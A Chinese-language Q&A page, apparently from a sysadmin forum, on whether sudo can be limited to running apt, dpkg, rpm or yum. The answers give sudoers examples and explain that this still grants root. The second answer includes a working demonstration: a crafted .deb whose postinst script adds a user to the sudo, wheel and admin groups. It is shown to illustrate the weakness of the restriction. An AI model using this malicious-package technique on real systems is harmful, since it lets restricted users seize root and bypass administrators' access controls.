如何限制用户的 sudo 仅适用于 rpm/deb

如何限制用户的 sudo 仅适用于 rpm/deb

是否有限制用户的 sudo,以便仅调用 rpm/deb 来安装软件包?

答案1

是否有限制用户的 sudo,以便仅调用 rpm/deb 来安装软件包?

是的;man sudoers详细并举例说明了如何做到这一点。

但这样做是毫无意义的:允许我安装任何 rpm,并且你已经给了我 root 权限。包可以包含任意设置脚本,这些脚本可以执行我想要的操作并以 root 身份运行,或者它们可以简单地包含一个与 sudo 执行相同操作但不限制我的程序。

deb(与任何其他包管理器相同,或者实际上,对于允许执行代码的任何程序)

答案2

要提供bill运行能力apt-get,只需将其添加到/etc/sudoers

bill          ALL = /usr/bin/apt-get

为了提供johnbob运行多个命令中的任何一个的能力,我们可以为它们创建一些更具可扩展性的组:

User_Alias    INSTALLERS = john, bob

Cmnd_Alias    INSTALL = /usr/bin/dpkg, \
                        /usr/bin/apt, \
                        /usr/bin/yum, \
                        /usr/bin/dnf

INSTALLERS    ALL = INSTALL

我喜欢这个想法(原则上),因为让用户从可信来源安装软件包而不给他们完全的 root 权限是很好的。授予他们访问权限,apt但不授予他们写入权限/etc/apt/sources.list{,.d}。可能会出什么问题?

然而,下面我将演示它是多么容易被滥用。

$ mkdir -p elevator_1.0/DEBIAN
$ cat > elevator_1.0/DEBIAN/control <<EOF
Package: elevator
Version: 1.0
Architecture: all
Maintainer: Anonymous <[email protected]>
Description: Malicious permission elevator
 Installing this package will elevate permissions of a user.
 Uninstalling will not undo this
EOF
$ cat > eleavtor_1.0/DEBIAN/postinst <<EOF
#!/bin/bash
usermod -a -G sudo bob
usermod -a -G wheel bob
usermod -a -G admin bob
echo "bob has been elevated!"
EOF
$ dpkg-deb -b elevator_1.0
dpkg-deb: building package 'elevator' in 'elevator_1.0.deb'.

$ sudo apt install ./elevator_1.0.deb 
...
The following NEW packages will be installed:
  elevator
...
Preparing to unpack .../elevator_1.0.deb ...
Unpacking elevator (1.0) ...
Setting up elevator (1.0) ...
bob has been elevated

如果有更安全的方法,我肯定会感兴趣。我给我的员工 root 访问权限,只是因为他们需要能够从官方 debian 存档和我们公司的内部存档安装软件。我已经告诉他们不要添加不受信任的来源,但我无法强制执行。

相关内容